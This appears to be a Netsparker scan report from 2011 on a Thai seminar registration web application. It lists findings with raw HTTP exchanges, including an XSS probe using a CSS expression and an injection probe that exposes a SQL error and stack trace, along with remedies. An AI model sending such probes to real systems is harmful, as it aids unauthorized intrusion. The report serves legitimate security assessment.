Location: ./enroll.aspx?ow=FKH&cs=S0001&sn=' stYle='x:expre/**/ssion(netsparker(9))
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 198


<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href='./enroll.aspx?ow=FKH&amp;cs=S0001&amp;sn=' stYle='x:expre/**/ssion(netsparker(9))'>here</a>.</h2>
</body></html>
Internal Server Error

Internal Server Error

1 TOTAL
LOW
CONFIRMED
1
The Server responded with an HTTP status 500. This indicates that there is a server-side error. Reasons may vary. The behavior should be analysed carefully. If Netsparker is able to find a security issue in the same resource it will report this as a separate vulnerability.

Impact

The impact may vary depending on the condition. Generally this indicates poor coding practices, not enough error checking, sanitization and whitelisting. However there might be a bigger issue such as SQL Injection. If that's the case Netsparker will check for other possible issues and report them separately.

Remedy

Analyse this issue and review the application code in order to handle unexpected errors, this should be a generic practice which does not disclose further information upon an error. All errors should be handled server side only.
- /semreg/enroll.aspx

/semreg/enroll.aspx CONFIRMED

http://register2.set.or.th/semreg/enroll.aspx?ow=response.write(268409241-22)%27&cs=S0001&sn=0049

Parameters

Parameter Type Value
ow GET response.write(268409241-22)'
cs GET S0001
sn GET 0049

Request

GET /semreg/enroll.aspx?ow=response.write(268409241-22)%27&cs=S0001&sn=0049 HTTP/1.1
Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:35:07 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 5068


<html>
<head>
<title>Line 1: Incorrect syntax near 'S0001'.</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px}
b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px}
H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red }
H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon }
pre {font-family:"Lucida Console";font-size: .9em}
.marker {font-weight: bold; color: black;text-decoration: none;}
.version {color: gray;}
.error {margin-bottom: 10px;}
.expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; }
</style>
</head>

<body bgcolor="white">

<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>

<h2> <i>Line 1: Incorrect syntax near 'S0001'.</i> </h2></span>

<font face="Arial, Helvetica, Geneva, SunSans-Regular, sans-serif ">

<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

<br><br>

<b> Exception Details: </b>System.Data.SqlClient.SqlException: Line 1: Incorrect syntax near 'S0001'.<br><br>

<b>Source Error:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code>

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>

</td>
</tr>
</table>

<br>

<b>Stack Trace:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code><pre>

[SqlException: Line 1: Incorrect syntax near 'S0001'.]
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) +723
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) +45
System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) +5
System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +304
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +77
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) +36
linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:215
System.Web.UI.Control.OnLoad(EventArgs e) +67
System.Web.UI.Control.LoadRecursive() +35
System.Web.UI.Page.ProcessRequestMain() +731
</pre></code>

</td>
</tr>
</table>

<br>

<hr width=100% size=1 color=silver>

<b>Version Information:</b>&nbsp;Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573

</font>

</body>
</html>
<!--
[SqlException]: Line 1: Incorrect syntax near 'S0001'.
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream)
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable)
at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215
at System.Web.UI.Control.OnLoad(EventArgs e)
at System.Web.UI.Control.LoadRecursive()
at System.Web.UI.Page.ProcessRequestMain()
[HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown.
at System.Web.UI.Page.HandleError(Exception e)
at System.Web.UI.Page.ProcessRequestMain()
at System.Web.UI.Page.ProcessRequest()
at System.Web.UI.Page.ProcessRequest(HttpContext context)
at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute()
at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
-->
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /semreg/detail.aspx

/semreg/detail.aspx CONFIRMED

http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049

Identified Cookie

ASP.NET_SessionId

Request

GET /semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:34:53 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Set-Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk; path=/
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 5899



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<title>detail</title>
<meta content="True" name="vs_snapToGrid">
<meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR">
<meta content="Visual Basic .NET 7.1" name="CODE_LANGUAGE">
<meta content="JavaScript" name="vs_defaultClientScript">
<meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
<LINK href="../styles/regStyle.css" type="text/css" rel="stylesheet">
</HEAD>
<body bgColor="lightgrey" MS_POSITIONING="GridLayout">
<form name="Form1" method="post" action="detail.aspx?ow=FKH&amp;cs=S0001&amp;sn=0049" id="Form1">
<input type="hidden" name="__VIEWSTATE" value="dDwxMjU5OTQxMDQ4O3Q8O2w8aTwxPjs+O2w8dDw7bDxpPDE+O2k8Mzc+Oz47bDx0PDtsPGk8MT47aTwyPjtpPDQ+O2k8NT47PjtsPHQ8cDxsPHNyYzs+O2w8Li4vaW1hZ2VzL3NldC1sb2dvLWluZGV4LmdpZjs+Pjs7Pjt0PHA8bDxWaXNpYmxlOz47bDxvPGY+Oz4+Ozs+O3Q8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47dDxwPGw8VmlzaWJsZTs+O2w8bzxmPjs+Pjs7Pjs+Pjt0PHA8cDxsPEVuYWJsZWQ7PjtsPG88Zj47Pj47Pjs7Pjs+Pjs+Pjs+XLz31E4HaiMvL6dN2jWWZ/vEA8E=" />

<TABLE id="Table1" style="Z-INDEX: 101; LEFT: 0px; POSITION: absolute; TOP: 0px; HEIGHT: 591px"
cellSpacing="0" cellPadding="0" width="750" align="left" bgColor="white" border="0">
<TR>
<TD style="HEIGHT: 11px"><FONT face="Tahoma">
<meta content="False" name="vs_snapToGrid">
<meta content="False" name="vs_showGrid">
<TABLE id="Table1" style="WIDTH: 645px; HEIGHT: 36px" cellSpacing="0" cellPadding="0" width="645"
border="0">
<TR>
<TD style="HEIGHT: 7px"><img src="../images/set-logo-index.gif" id="Header1_Img1" border="0" /></TD>
</TR>
<TR>
<TD style="HEIGHT: 2px"></TD>
</TR>
</TABLE>
</FONT></TD>
</TR>
<TR>
<TD style="HEIGHT: 26px"><FONT face="Tahoma"><img id="snDetailHeadImg" src="../images/Body/head_semdetail.gif" border="0" /></FONT></TD>
</TR>
<TR>
<TD style="HEIGHT: 418px" vAlign="middle" align="center">
<TABLE id="Table2" style="WIDTH: 700px; HEIGHT: 393px" cellSpacing="0" cellPadding="0"
width="700" border="0">
<TR>
<TD style="WIDTH: 1px; HEIGHT: 45px"><FONT face="Tahoma"></FONT></TD>
<TD style="WIDTH: 1px; HEIGHT: 45px"></TD>
<TD style="WIDTH: 31px; HEIGHT: 45px"><FONT face="Tahoma"></FONT></TD>
<TD style="WIDTH: 714px; HEIGHT: 45px" colSpan="2"><P><FONT face="Tahoma">&nbsp;</P>
<P></FONT><span id="snNamelbl" class="textField" style="width:588px;"></span></P>
<FONT face="Tahoma">
<P><span id="snDescLbl" class="labelField" style="width:596px;"></span></P>
<HR width="100%" SIZE="1">
</FONT>
</TD>
</TR>
<TR>
<TD style="WIDTH: 1px; HEIGHT: 218px"><FONT face="Tahoma"></FONT></TD>
<TD style="WIDTH: 1px; HEIGHT: 218px"><FONT face="Tahoma"></FONT></TD>
<TD style="WIDTH: 31px; HEIGHT: 218px"></TD>
<TD style="WIDTH: 714px; HEIGHT: 218px" vAlign="top" colSpan="2"><FONT face="Tahoma"></FONT><FONT face="Tahoma"></FONT>
<TABLE id="Table3" style="WIDTH: 624px; HEIGHT: 223px" cellSpacing="0" cellPadding="0"
width="624" border="0">
<TR>
<TD style="WIDTH: 210px; HEIGHT: 31px"><FONT face="Tahoma"><span id="snStartDtTmlbl" class="textField">วันเวลา / Date&Time</span></FONT></TD>
<TD style="WIDTH: 424px; HEIGHT: 31px"><FONT face="Tahoma"><span id="snStartDtTm" class="labelField"></span></FONT></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 31px"><span id="snVenuelbl" class="textField">สถานที่ / Venue</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 31px"><span id="snVenue" class="labelField"></span></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 32px"><span id="snFeelbl" class="textField">ค่าธรรมเนียม / Fee</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 32px"><span id="snFee" class="labelField" style="width:73px;"></span><FONT face="Tahoma">&nbsp;
</FONT>
<span id="currencyLbl" class="labelField">บาท / Baht</span></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 32px"><span id="snMaxSeatlbl" class="textField">จำนวนที่รับ / Total Seats</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 32px"><FONT face="Tahoma"><span id="snMaxSeat" class="labelField"></span></FONT></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 30px"><span id="snAvSeatlbl" class="textField">ที่นั่งคงเหลือ / Available Seats</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 30px"><span id="snAvSeat" class="labelField"></span></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 31px"><span id="snRemarklbl" class="textField">หมายเหตุ / Remark</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 31px"><span id="snRemark" class="labelField"></span></TD>
</TR>
</TABLE>
</TD>
</TR>
<TR>
<TD style="WIDTH: 1px; HEIGHT: 127px" vAlign="middle"></TD>
<TD style="WIDTH: 1px; HEIGHT: 127px" vAlign="middle"></TD>
<TD style="WIDTH: 31px; HEIGHT: 127px"></TD>
<TD style="WIDTH: 714px; HEIGHT: 127px" vAlign="top" align="left" colSpan="2"><FONT face="Tahoma">&nbsp;&nbsp;
</FONT>
<HR width="100%" SIZE="1">
<input type="submit" name="backBtn" value="Back" id="backBtn" class="button" style="width:80px;" /><FONT face="Tahoma">&nbsp;
</FONT>
<input type="submit" name="registBtn" value="Register" id="registBtn" disabled="disabled" class="button" style="width:80px;" /></TD>
</TR>
</TABLE>
</TD>
</TR>
<TR>
<TD><FONT face="Tahoma"></FONT></TD>
</TR>
</TABLE>
</form>
</body>
</HTML>
ASP.NET Version Disclosure

ASP.NET Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing ASP.NET version in the HTTP response. This information can help an attacker to develop further attacks and also the system can become an easier target for automated attacks. It was leaked from X-AspNet-Version banner of HTTP response or default ASP.NET error page.

Impact

An attacker can use disclosed information to harvest specific security vulnerabilities for the version identified. The attacker can also use this information in conjunction with the other vulnerabilities in the application or web server.

Remedy

Apply the following changes on your web.config file to prevent information leakage by using custom error pages and removing X-AspNet-Version from HTTP responses.
<System.Web>
     < httpRuntime enableVersionHeader="false" /> 
     <customErrors mode="On" defaultRedirect="~/error/GeneralError.aspx">
          <error statusCode="403" redirect="~/error/Forbidden.aspx" />
          <error statusCode="404" redirect="~/error/PageNotFound.aspx" />
          <error statusCode="500" redirect="~/error/InternalError.aspx" />
     </customErrors>
</System.Web>

Remedy References

- /semreg/enroll.aspx

/semreg/enroll.aspx

http://register2.set.or.th/semreg/enroll.aspx?ow=FKH&cs=S0001&sn=0049

Extracted Version

1.1.4322

Request

GET /semreg/enroll.aspx?ow=FKH&cs=S0001&sn=0049 HTTP/1.1
Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 302 Found
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:34:55 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Location: /semreg/List.aspx
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 134


<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href='/semreg/List.aspx'>here</a>.</h2>
</body></html>
Database Error Message

Database Error Message

1 TOTAL
LOW
Netsparker identified a database error message.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.

Remedy

Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
- /semreg/enroll.aspx

/semreg/enroll.aspx

http://register2.set.or.th/semreg/enroll.aspx?ow=response.write(268409241-22)%27&cs=S0001&sn=0049

Parameters

Parameter Type Value
ow GET response.write(268409241-22)'
cs GET S0001
sn GET 0049

Request

GET /semreg/enroll.aspx?ow=response.write(268409241-22)%27&cs=S0001&sn=0049 HTTP/1.1
Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:35:07 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 5068


<html>
<head>
<title>Line 1: Incorrect syntax near 'S0001'.</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px}
b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px}
H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red }
H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon }
pre {font-family:"Lucida Console";font-size: .9em}
.marker {font-weight: bold; color: black;text-decoration: none;}
.version {color: gray;}
.error {margin-bottom: 10px;}
.expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; }
</style>
</head>

<body bgcolor="white">

<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>

<h2> <i>Line 1: Incorrect syntax near 'S0001'.</i> </h2></span>

<font face="Arial, Helvetica, Geneva, SunSans-Regular, sans-serif ">

<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

<br><br>

<b> Exception Details: </b>System.Data.SqlClient.SqlException: Line 1: Incorrect syntax near 'S0001'.<br><br>

<b>Source Error:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code>

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>

</td>
</tr>
</table>

<br>

<b>Stack Trace:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code><pre>

[SqlException: Line 1: Incorrect syntax near 'S0001'.]
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) +723
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) +45
System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) +5
System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +304
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +77
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) +36
linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:215
System.Web.UI.Control.OnLoad(EventArgs e) +67
System.Web.UI.Control.LoadRecursive() +35
System.Web.UI.Page.ProcessRequestMain() +731
</pre></code>

</td>
</tr>
</table>

<br>

<hr width=100% size=1 color=silver>

<b>Version Information:</b>&nbsp;Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573

</font>

</body>
</html>
<!--
[SqlException]: Line 1: Incorrect syntax near 'S0001'.
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream)
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable)
at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215
at System.Web.UI.Control.OnLoad(EventArgs e)
at System.Web.UI.Control.LoadRecursive()
at System.Web.UI.Page.ProcessRequestMain()
[HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown.
at System.Web.UI.Page.HandleError(Exception e)
at System.Web.UI.Page.ProcessRequestMain()
at System.Web.UI.Page.ProcessRequest()
at System.Web.UI.Page.ProcessRequest(HttpContext context)
at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute()
at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
-->
TRACE / TRACK Identified

TRACE / TRACK Identified

1 TOTAL
LOW
CONFIRMED
1
Netsparker identified that the TRACE/TRACK method is allowed.

Impact

If the application is vulnerable to Cross-site Scripting and uses Http-Only Cookies then an attacker can bypass the Http-Only cookies limitation and read the cookies in an XSS attack.

Remedy

Disable this method in all production systems. Even though the application is not vulnerable to Cross-site Scripting a debugging feature such as TRACE/TRACK should not be required in a production system and therefore should be disabled.

External References

- /semreg/detail.aspx

/semreg/detail.aspx CONFIRMED

http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049

Request

TRACE /semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=qkoqix55viaqxn55mdajj145
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:34:53 GMT
X-Powered-By: ASP.NET
Content-Type: message/http
Content-Length: 286


TRACE /semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=qkoqix55viaqxn55mdajj145
Accept-Encoding: gzip, deflate

ASP.NET Stack Trace Disclosure

ASP.NET Stack Trace Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing ASP.NET stack trace data in the HTTP response.

Impact

An attacker can obtain information such as: This information can help an attacker to gain more information and to potentially focus the development of further attacks for the target system.

Remedy

Apply following changes on your web.config file to prevent information leakage by applying custom error pages.
<System.Web>
     <customErrors mode="On" defaultRedirect="~/error/GeneralError.aspx">
          <error statusCode="403" redirect="~/error/Forbidden.aspx" />
          <error statusCode="404" redirect="~/error/PageNotFound.aspx" />
          <error statusCode="500" redirect="~/error/InternalError.aspx" />
     </customErrors>
</System.Web>

Remedy References

- /semreg/enroll.aspx

/semreg/enroll.aspx

http://register2.set.or.th/semreg/enroll.aspx?ow=response.write(268409241-22)%27&cs=S0001&sn=0049

Parameters

Parameter Type Value
ow GET response.write(268409241-22)'
cs GET S0001
sn GET 0049

Request

GET /semreg/enroll.aspx?ow=response.write(268409241-22)%27&cs=S0001&sn=0049 HTTP/1.1
Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:35:07 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 5068


<html>
<head>
<title>Line 1: Incorrect syntax near 'S0001'.</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px}
b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px}
H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red }
H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon }
pre {font-family:"Lucida Console";font-size: .9em}
.marker {font-weight: bold; color: black;text-decoration: none;}
.version {color: gray;}
.error {margin-bottom: 10px;}
.expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; }
</style>
</head>

<body bgcolor="white">

<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>

<h2> <i>Line 1: Incorrect syntax near 'S0001'.</i> </h2></span>

<font face="Arial, Helvetica, Geneva, SunSans-Regular, sans-serif ">

<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

<br><br>

<b> Exception Details: </b>System.Data.SqlClient.SqlException: Line 1: Incorrect syntax near 'S0001'.<br><br>

<b>Source Error:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code>

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>

</td>
</tr>
</table>

<br>

<b>Stack Trace:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code><pre>

[SqlException: Line 1: Incorrect syntax near 'S0001'.]
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) +723
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) +45
System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) +5
System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +304
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +77
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) +36
linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:215
System.Web.UI.Control.OnLoad(EventArgs e) +67
System.Web.UI.Control.LoadRecursive() +35
System.Web.UI.Page.ProcessRequestMain() +731
</pre></code>

</td>
</tr>
</table>

<br>

<hr width=100% size=1 color=silver>

<b>Version Information:</b>&nbsp;Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573

</font>

</body>
</html>
<!--
[SqlException]: Line 1: Incorrect syntax near 'S0001'.
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream)
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable)
at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215
at System.Web.UI.Control.OnLoad(EventArgs e)
at System.Web.UI.Control.LoadRecursive()
at System.Web.UI.Page.ProcessRequestMain()
[HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown.
at System.Web.UI.Page.HandleError(Exception e)
at System.Web.UI.Page.ProcessRequestMain()
at System.Web.UI.Page.ProcessRequest()
at System.Web.UI.Page.ProcessRequest(HttpContext context)
at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute()
at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
-->
ViewState is not Encrypted

ViewState is not Encrypted

1 TOTAL
LOW
Netsparker identified that the target web application doesn't use encryption on ViewState data.

Impact

An attacker can study the application's state management logic for possible vulnerabilities and if your application stores application-critical information in the ViewState; it will also be revealed.

Remedy

ASP.NET provides encryption for ViewState parameters.

For page based protection, place the following directive at the top of affected page.
<%@Page ViewStateEncryptionMode="Always" %>
You can also set this option for the whole application by using web.config files. Apply the following configuration for your application's web.config file.
<System.Web>
	<pages viewStateEncryptionMode="Always"> 
</System.Web>      

Remedy References

- /semreg/detail.aspx

/semreg/detail.aspx

http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049

ViewState Version

.NET Framework 1.x

Request

GET /semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:34:53 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Set-Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk; path=/
Cache-Control: private
Content-Type: text/html; charset=windows-874
